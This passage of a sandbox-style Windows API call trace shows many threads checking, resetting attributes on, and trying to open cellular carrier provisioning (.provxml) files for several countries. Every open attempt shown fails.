users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\464__connections_cellular_umc (ukraine)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.382] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\464__Connections_Cellular_UMC (Ukraine)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.382] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f01f40) returned 1 [0181.382] RtlExitUserThread (Status=0x0) Thread: id = 3055 os_tid = 0xd78 [0181.262] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\465__Connections_Cellular_Utel INET (Ukraine)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\465__connections_cellular_utel inet (ukraine)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.381] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\465__Connections_Cellular_Utel INET (Ukraine)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.381] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\465__Connections_Cellular_Utel INET (Ukraine)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\465__connections_cellular_utel inet (ukraine)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.381] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\465__Connections_Cellular_Utel INET (Ukraine)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.381] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30594a8) returned 1 [0181.381] RtlExitUserThread (Status=0x0) Thread: id = 3056 os_tid = 0xa00 [0181.263] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\466__Connections_Cellular_du (United Arab Emirates)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\466__connections_cellular_du (united arab emirates)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.433] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\466__Connections_Cellular_du (United Arab Emirates)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.433] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\466__Connections_Cellular_du (United Arab Emirates)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\466__connections_cellular_du (united arab emirates)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.434] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\466__Connections_Cellular_du (United Arab Emirates)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.434] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa3940) returned 1 [0181.434] RtlExitUserThread (Status=0x0) Thread: id = 3057 os_tid = 0x81c [0181.264] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\467__Connections_Cellular_du EITC (United Arab Emirates)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\467__connections_cellular_du eitc (united arab emirates)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.432] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\467__Connections_Cellular_du EITC (United Arab Emirates)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.432] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\467__Connections_Cellular_du EITC (United Arab Emirates)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\467__connections_cellular_du eitc (united arab emirates)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.432] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\467__Connections_Cellular_du EITC (United Arab Emirates)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.432] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa3aa8) returned 1 [0181.432] RtlExitUserThread (Status=0x0) Thread: id = 3058 os_tid = 0xd7c [0181.264] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\468__Connections_Cellular_Etisalat (United Arab Emirates)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\468__connections_cellular_etisalat (united arab emirates)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.431] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\468__Connections_Cellular_Etisalat (United Arab Emirates)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.431] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\468__Connections_Cellular_Etisalat (United Arab Emirates)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\468__connections_cellular_etisalat (united arab emirates)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.431] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\468__Connections_Cellular_Etisalat (United Arab Emirates)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.431] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa2428) returned 1 [0181.431] RtlExitUserThread (Status=0x0) Thread: id = 3059 os_tid = 0xd74 [0181.264] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\469__Connections_Cellular_Cable & Wireless Guernsey Ltd (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\469__connections_cellular_cable & wireless guernsey ltd (united kingdom)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.430] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\469__Connections_Cellular_Cable & Wireless Guernsey Ltd (United Kingdom)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.430] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\469__Connections_Cellular_Cable & Wireless Guernsey Ltd (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\469__connections_cellular_cable & wireless guernsey ltd (united kingdom)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.430] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\469__Connections_Cellular_Cable & Wireless Guernsey Ltd (United Kingdom)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.430] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faa918) returned 1 [0181.430] RtlExitUserThread (Status=0x0) Thread: id = 3060 os_tid = 0xd70 [0181.265] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\46__Connections_Cellular_ORANGE (Belgium)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\46__connections_cellular_orange (belgium)_i1$(__mvid)@wap.provxml")) returned 0x20 [0181.428] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\46__Connections_Cellular_ORANGE (Belgium)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.428] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\46__Connections_Cellular_ORANGE (Belgium)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\46__connections_cellular_orange (belgium)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.428] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\46__Connections_Cellular_ORANGE (Belgium)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.428] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02ea0) returned 1 [0181.428] RtlExitUserThread (Status=0x0) Thread: id = 3061 os_tid = 0x818 [0181.265] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\470__Connections_Cellular_Manx Telecom (Pronto GSM) (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\470__connections_cellular_manx telecom (pronto gsm) (united kingdom)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.427] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\470__Connections_Cellular_Manx Telecom (Pronto GSM) (United Kingdom)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.427] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\470__Connections_Cellular_Manx Telecom (Pronto GSM) (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\470__connections_cellular_manx telecom (pronto gsm) (united kingdom)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.427] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\470__Connections_Cellular_Manx Telecom (Pronto GSM) (United Kingdom)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.427] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff25d0) returned 1 [0181.427] RtlExitUserThread (Status=0x0) Thread: id = 3062 os_tid = 0x9cc [0181.266] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\471__Connections_Cellular_O2 - UK (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\471__connections_cellular_o2 - uk (united kingdom)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.426] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\471__Connections_Cellular_O2 - UK (United Kingdom)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.426] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\471__Connections_Cellular_O2 - UK (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\471__connections_cellular_o2 - uk (united kingdom)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.426] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\471__Connections_Cellular_O2 - UK (United Kingdom)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.426] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa3c10) returned 1 [0181.426] RtlExitUserThread (Status=0x0) Thread: id = 3063 os_tid = 0x440 [0181.267] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\472__Connections_Cellular_O2 - UK (United Kingdom)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\472__connections_cellular_o2 - uk (united kingdom)_i1$(__mvid)@wap.provxml")) returned 0x20 [0181.425] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\472__Connections_Cellular_O2 - UK (United Kingdom)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.425] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\472__Connections_Cellular_O2 - UK (United Kingdom)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\472__connections_cellular_o2 - uk (united kingdom)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.425] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\472__Connections_Cellular_O2 - UK (United Kingdom)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.425] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa3d78) returned 1 [0181.425] RtlExitUserThread (Status=0x0) Thread: id = 3064 os_tid = 0xd90 [0181.267] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\473__Connections_Cellular_O2 - UK (United Kingdom)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\473__connections_cellular_o2 - uk (united kingdom)_i2$(__mvid)@wap.provxml")) returned 0x20 [0181.379] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\473__Connections_Cellular_O2 - UK (United Kingdom)_i2$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.380] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\473__Connections_Cellular_O2 - UK (United Kingdom)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\473__connections_cellular_o2 - uk (united kingdom)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.380] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\473__Connections_Cellular_O2 - UK (United Kingdom)_i2$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.380] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa2e00) returned 1 [0181.380] RtlExitUserThread (Status=0x0) Thread: id = 3065 os_tid = 0xcbc [0181.277] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\474__Connections_Cellular_O2 - UK (United Kingdom)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\474__connections_cellular_o2 - uk (united kingdom)_i3$(__mvid)@wap.provxml")) returned 0x20 [0181.378] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\474__Connections_Cellular_O2 - UK (United Kingdom)_i3$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.378] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\474__Connections_Cellular_O2 - UK (United Kingdom)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\474__connections_cellular_o2 - uk (united kingdom)_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.378] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\474__Connections_Cellular_O2 - UK (United Kingdom)_i3$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.378] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa1ff0) returned 1 [0181.378] RtlExitUserThread (Status=0x0) Thread: id = 3066 os_tid = 0xde0 [0181.278] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\475__Connections_Cellular_O2 - UK (United Kingdom)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\475__connections_cellular_o2 - uk (united kingdom)_i4$(__mvid)@wap.provxml")) returned 0x20 [0181.377] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\475__Connections_Cellular_O2 - UK (United Kingdom)_i4$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.377] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\475__Connections_Cellular_O2 - UK (United Kingdom)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\475__connections_cellular_o2 - uk (united kingdom)_i4$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.377] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\475__Connections_Cellular_O2 - UK (United Kingdom)_i4$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.377] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa2158) returned 1 [0181.377] RtlExitUserThread (Status=0x0) Thread: id = 3067 os_tid = 0xdec [0181.278] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\476__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\476__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20 [0181.374] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\476__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0181.374] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\476__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\476__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.374] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\476__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0181.374] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3059600) returned 1 [0181.374] RtlExitUserThread (Status=0x0) Thread: id = 3068 os_tid = 0xe24 [0181.279] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\477__Connections_Cellular_EE (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\477__connections_cellular_ee (united kingdom)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.421] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\477__Connections_Cellular_EE (United Kingdom)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.421] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\477__Connections_Cellular_EE (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\477__connections_cellular_ee (united kingdom)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.421] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\477__Connections_Cellular_EE (United Kingdom)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.421] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3059758) returned 1 [0181.421] RtlExitUserThread (Status=0x0) Thread: id = 3069 os_tid = 0xe3c [0181.279] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\478__Connections_Cellular_Vodafone UK (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\478__connections_cellular_vodafone uk (united kingdom)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.419] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\478__Connections_Cellular_Vodafone UK (United Kingdom)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.420] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\478__Connections_Cellular_Vodafone UK (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\478__connections_cellular_vodafone uk (united kingdom)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.420] SetFileAttributesW (lpFileName="C:\\Users\\All 